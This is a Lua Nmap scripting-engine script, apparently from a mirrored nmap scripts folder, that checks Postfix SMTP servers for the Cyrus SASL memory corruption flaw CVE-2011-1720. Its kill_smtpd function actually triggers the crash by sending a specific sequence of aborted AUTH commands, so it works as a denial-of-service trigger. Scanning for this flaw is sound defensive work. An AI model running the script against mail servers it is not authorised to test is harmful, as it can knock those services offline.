coolbins/system/usr/share/nmap/scripts/smtp-vuln-cve2011-1720.nse

286 lines
7.5 KiB
Lua

local shortport = require "shortport"
local smtp = require "smtp"
local stdnse = require "stdnse"
local string = require "string"
local stringaux = require "stringaux"
local table = require "table"
local vulns = require "vulns"
description = [[
Checks for a memory corruption in the Postfix SMTP server when it uses
Cyrus SASL library authentication mechanisms (CVE-2011-1720). This
vulnerability can allow denial of service and possibly remote code
execution.
Reference:
* http://www.postfix.org/CVE-2011-1720.html
]]
---
-- @usage
-- nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=<domain>' -pT:25,465,587 <host>
--
-- @output
-- PORT STATE SERVICE
-- 25/tcp open smtp
-- | smtp-vuln-cve2011-1720:
-- | VULNERABLE:
-- | Postfix SMTP server Cyrus SASL Memory Corruption
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2011-1720 BID:47778
-- | Description:
-- | The Postfix SMTP server is vulnerable to a memory corruption vulnerability
-- | when the Cyrus SASL library is used with authentication mechanisms other
-- | than PLAIN and LOGIN.
-- | Disclosure date: 2011-05-08
-- | Check results:
-- | AUTH tests: CRAM-MD5 NTLM
-- | Extra information:
-- | Available AUTH MECHANISMS: CRAM-MD5 DIGEST-MD5 NTLM PLAIN LOGIN
-- | References:
-- | http://www.postfix.org/CVE-2011-1720.html
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1720
-- |_ https://www.securityfocus.com/bid/47778
author = "Djalal Harouni"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}
portrule = shortport.port_or_service({25, 465, 587},
{"smtp", "smtps", "submission"})
local AUTH_VULN = {
-- AUTH MECHANISM
-- killby: a table of mechanisms that can corrupt and
-- overwrite the AUTH MECHANISM data structure.
-- probe: max number of probes for each test
["CRAM-MD5"] = {
killby = {["DIGEST-MD5"] = {probe = 1}}
},
["DIGEST-MD5"] = {
killby = {}
},
["EXTERNAL"] = {
killby = {}
},
["GSSAPI"] = {
killby = {}
},
["KERBEROS_V4"] = {
killby = {}
},
["NTLM"] = {
killby = {["DIGEST-MD5"] = {probe = 2}}
},
["OTP"] = {
killby = {}
},
["PASSDSS-3DES-1"] = {
killby = {}
},
["SRP"] = {
killby = {}
},
}
-- parse and check the authentication mechanisms.
-- This function will save the vulnerable auth mechanisms in
-- the auth_mlist table, and returns all the available auth
-- mechanisms as a string.
local function chk_auth_mechanisms(ehlo_res, auth_mlist)
local mlist = smtp.get_auth_mech(ehlo_res)
if mlist then
for _, mech in ipairs(mlist) do
if AUTH_VULN[mech] then
auth_mlist[mech] = mech
end
end
return table.concat(mlist, " ")
end
return ""
end
-- Close any remaining connection
local function smtp_finish(socket, status, err)
if socket then
smtp.quit(socket)
end
return status, err
end
-- Tries to kill the smtpd server
-- Returns true, true if the smtpd was killed
local function kill_smtpd(socket, mech, mkill)
local killed, ret = false
local status, response = smtp.query(socket, "AUTH",
string.format("%s", mech))
if not status then
return status, response
end
status, ret = smtp.check_reply("AUTH", response)
if not status then
return smtp_finish(socket, status, ret)
end
-- abort authentication
smtp.query(socket, "*")
status, response = smtp.query(socket, "AUTH",
string.format("%s", mkill))
if status then
-- abort the last AUTH command.
status, response = smtp.query(socket, "*")
end
if not status then
if string.match(response, "connection closed") then
killed = true
else
return status, response
end
end
return true, killed
end
-- Checks if the SMTP server is vulnerable to CVE-2011-1720
-- Postfix Cyrus SASL authentication memory corruption
-- http://www.postfix.org/CVE-2011-1720.html
local function check_smtpd(smtp_opts)
local socket, ret = smtp.connect(smtp_opts.host,
smtp_opts.port,
{ssl = false,
recv_before = true,
lines = 1})
if not socket then
return socket, ret
end
local status, response = smtp.ehlo(socket, smtp_opts.domain)
if not status then
return status, response
end
local starttls = false
local auth_mech_list, auth_mech_str = {}, ""
-- parse server response
for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
if not next(auth_mech_list) then
auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
end
if not starttls then
starttls = line:match("STARTTLS")
end
end
-- fallback to STARTTLS to get the auth mechanisms
if not next(auth_mech_list) and smtp_opts.port.number ~= 25 and
starttls then
status, response = smtp.starttls(socket)
if not status then
return status, response
end
status, response = smtp.ehlo(socket, smtp_opts.domain)
if not status then
return status, response
end
for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
if not next(auth_mech_list) then
auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
end
end
end
local vuln = smtp_opts.vuln
vuln.check_results = {}
if (#auth_mech_str > 0) then
vuln.extra_info = {}
table.insert(vuln.extra_info,
string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
-- maybe vulnerable
if next(auth_mech_list) then
local auth_tests = {}
for mech in pairs(auth_mech_list) do
for mkill in pairs(AUTH_VULN[mech].killby) do
if auth_mech_list[mkill] then
auth_tests[#auth_tests+1] = mech
local probe = AUTH_VULN[mech].killby[mkill].probe
for p = 1, probe do
status, ret = kill_smtpd(socket, mech, mkill)
if not status then
return smtp_finish(nil, status, ret)
end
if ret then
vuln.state = vulns.STATE.VULN
table.insert(vuln.check_results,
string.format("AUTH tests: %s", table.concat(auth_tests, " ")))
table.insert(vuln.check_results,
string.format("VULNERABLE (%s => %s)", mech, mkill))
return smtp_finish(nil, true)
end
end
end
end
end
table.insert(vuln.check_results, string.format("AUTH tests: %s",
table.concat(auth_tests, " ")))
end
else
stdnse.debug2("Authentication is not available")
table.insert(vuln.check_results, "Authentication is not available")
end
vuln.state = vulns.STATE.NOT_VULN
return smtp_finish(socket, true)
end
action = function(host, port)
local smtp_opts = {
host = host,
port = port,
domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
smtp.get_domain(host),
vuln = {
title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
IDS = {CVE = 'CVE-2011-1720', BID = '47778'},
description = [[
The Postfix SMTP server is vulnerable to a memory corruption vulnerability
when the Cyrus SASL library is used with authentication mechanisms other
than PLAIN and LOGIN.]],
references = {
'http://www.postfix.org/CVE-2011-1720.html',
},
dates = {
disclosure = {year = '2011', month = '05', day = '08'},
},
},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local status, err = check_smtpd(smtp_opts)
if not status then
stdnse.debug1("%s", err)
return nil
end
return report:make_output(smtp_opts.vuln)
end